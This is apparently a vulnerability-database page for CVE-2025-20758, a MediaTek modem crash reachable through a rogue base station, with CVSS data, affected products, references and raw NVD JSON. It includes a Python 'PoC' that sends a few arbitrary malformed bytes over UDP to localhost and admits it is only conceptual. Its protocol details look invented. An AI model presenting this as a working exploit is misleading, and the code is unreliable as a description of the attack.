CVE-2025-20758

Description

In Modem, there is a possible system crash due to an uncaught exception. This could lead to remote denial of service, if a UE has connected to a rogue base station controlled by the attacker, with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: MOLY01673755; Issue ID: MSV-4647.

CVSS Details

CVSS Score

4.9

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:mediatek:nr15:-:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:mediatek:nr16:-:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:mediatek:nr17:-:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:mediatek:nr17r:-:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:mediatek:mt2735:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:h:mediatek:mt2737:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:h:mediatek:mt6813:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:h:mediatek:mt6833:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:h:mediatek:mt6833p:-:*:*:*:*:*:*:* - NOT VULNERABLE

MediaTek Modem (MOLY01673755 firmware, MSV-4647 issue)

受影响产品包括使用MediaTek调制解调器芯片的智能手机、物联网设备等，具体版本需参考MediaTek官方安全公告

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
"""
CVE-2025-20758 PoC - MediaTek Modem Uncaught Exception DoS
Note: This is a conceptual demonstration. Actual exploitation requires:
1. SDR equipment (USRP, HackRF, etc.)
2. OpenAirInterface or srsLTE for base station implementation
3. Specific firmware version targeting

This PoC simulates the attack concept for research purposes.
"""

import socket
import struct
import time

def create_malicious_rrc_message():
    """
    Create a malicious RRC (Radio Resource Control) message
    that triggers uncaught exception in MediaTek modem.
    """
    # RRC Connection Reconfiguration with malformed parameters
    rrc_msg = bytearray()
    
    # Message Type: RRC Connection Reconfiguration
    rrc_msg.extend([0x00, 0x0C])  # PDCP: RRC message
    
    # Add crafted TLV parameters that may cause parsing error
    rrc_msg.extend([0x00, 0x01, 0xFF])  # Malformed IE
    rrc_msg.extend([0x00, 0x02, 0x00, 0x00])  # Invalid length
    
    return bytes(rrc_msg)

def simulate_rogue_bs_attack(target_ip="127.0.0.1", port=38412):
    """
    Simulate sending malicious messages to trigger the vulnerability.
    In real scenario, this would be done via air interface.
    """
    print(f"[*] Simulating Rogue Base Station Attack for CVE-2025-20758")
    print(f"[*] Target: {target_ip}:{port}")
    
    malicious_msg = create_malicious_rrc_message()
    
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock.settimeout(5)
        
        print(f"[*] Sending malicious RRC message...")
        sock.sendto(malicious_msg, (target_ip, port))
        
        response = sock.recv(1024)
        print(f"[!] Unexpected response received: {response.hex()}")
        
    except socket.timeout:
        print(f"[+] Target unresponsive - possible crash detected")
    except Exception as e:
        print(f"[-] Error: {e}")
    finally:
        sock.close()

def check_modem_status():
    """
    Check if modem is still responsive after attack.
    """
    print("[*] Checking modem status...")
    # In real implementation, would check:
    # - AT command responses
    # - Modem manager status
    # - Network registration status
    pass

if __name__ == "__main__":
    print("=" * 60)
    print("CVE-2025-20758 MediaTek Modem DoS PoC")
    print("CVSS: 4.9 (Medium)")
    print("=" * 60)
    
    # Note: Actual exploitation requires SDR hardware and
    # LTE/5G protocol stack implementation (OpenAirInterface)
    print("\n[!] WARNING: This PoC requires:")
    print("    - SDR hardware (USRP/HackRF)")
    print("    - LTE base station software")
    print("    - Physical proximity to target device")
    print("\n[*] This is for educational/research purposes only.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-20758
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-20758
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-20758/
[4] VulDB https://vuldb.com/cve/CVE-2025-20758
[5] https://corp.mediatek.com/product-security-bulletin/December-2025

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-20758", "sourceIdentifier": "[email protected]", "published": "2025-12-02T03:16:17.187", "lastModified": "2025-12-03T21:37:31.440", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In Modem, there is a possible system crash due to an uncaught exception. This could lead to remote denial of service, if a UE has connected to a rogue base station controlled by the attacker, with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: MOLY01673755; Issue ID: MSV-4647."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-248"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:nr15:-:*:*:*:*:*:*:*", "matchCriteriaId": "E30A2D2E-6A72-4070-A471-EEE75F7D07F2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:nr16:-:*:*:*:*:*:*:*", "matchCriteriaId": "2B763B71-F913-45B4-B91E-D7F0670C4315"}, {"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:nr17:-:*:*:*:*:*:*:*", "matchCriteriaId": "66F8874B-DBF1-4A67-8ADF-4654AB56B6A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:nr17r:-:*:*:*:*:*:*:*", "matchCriteriaId": "BC63582A-F9A5-4450-A263-CE1FD4B4F3AC"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt2735:-:*:*:*:*:*:*:*", "matchCriteriaId": "7F1D09FC-5BE9-4B23-82F1-3C6EAC5711A6"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt2737:-:*:*:*:*:*:*:*", "matchCriteriaId": "9C2A1118-B5F7-4EF5-B329-0887B5F3430E"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6813:-:*:*:*:*:*:*:*", "matchCriteriaId": "66F9EAE4-F1D7-46DB-AA2A-0290F6EF0501"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6833:-:*:*:*:*:*:*:*", "matchCriteriaId": "9814939B-F05E-4870-90C0-7C0F6BAAEB39"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6833p:-:*:*:*:*:*:*:*", "matchCriteriaId": "CB690F5A-9367-45D3-A53E-80BF60053630"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6835:-:*:*:*:*:*:*:*", "matchCriteriaId": "19A63103-C708-48EC-B44D-5E465A6B79C5"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6835t:-:*:*:*:*:*:*:*", "matchCriteriaId": "C7FE7DBA-479C-402B-8485-9D14E70F25EB"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6853:-:*:*:*:*:*:*:*", "matchCriteriaId": "366F1912-756B-443E-9962-224937DD7DFB"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6853t:-:*:*:*:*:*:*:*", "matchCriteriaId": "328DA6BE-1303-4646-89B7-2EC8DC444532"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6855:-:*:*:*:*:*:*:*", "matchCriteriaId": "89AFEE24-7AAD-4EDB-8C3E-EDBA3240730A"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6855t:-:*:*:*:*:*:*:*", "matchCriteriaId": "083F6134-FF26-4F1B-9B77-971D342AF774"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6873:-:*:*:*:*:*:*:*", "matchCriteriaId": "F6B8A36E-C5FB-44AE-A1C3-50EBF4C68F6B"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6875:-:*:*:*:*:*:*:*", "matchCriteriaId": "80BDC5EC-E822-4BC7-8C0D-E8AD8396E8FE"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6875t:-:*:*:*:*:*:*:*", "matchCriteriaId": "F883C6D3-1724-4553-9EFC-3D204FF3CAA3"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6877:-:*:*:*:*:*:*:*", "matchCriteriaId": "7CA9352F-E9BD-4656-9B7C-4AFEE2C78E58"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6877t:-:*:*:*:*:*:*:*", "matchCriteriaId": "EFA54AA1-4E3A-44F8-A222-31C60F8F81DA"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6877tt:-:*:*:*:*:*:*:*", "matchCriteriaId": "5D4D6885-E18C-477F-8B6D-B9E84D9535E2"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6878:-:*:*:*:*:*:*:*", "matchCriteriaId": "855A8046-34ED-4891-ACE5-76AB10AC8D53"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6878m:-:*:*:*:*:*:*:*", "matchCriteriaId": "483B6FB0-D683-4F3C-BA5B-6C9852179854"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6879:-:*:*:*:*:*:*:*", "matchCriteriaId": "704BE5CE-AE08-4432-A8B0-4C8BD62148AD"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6880:-:*:*:*:*:*:*:*", "matchCriteriaId": "68CF4A7A-3136-4C4C-A795-81323896BE11"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6883:-:*:*:*:*:*:*:*", "matchCriteriaId": "15E2EC3F-9FB3-488B-B1C1-2793A416C755"}, {"vulnerable": ... (truncated)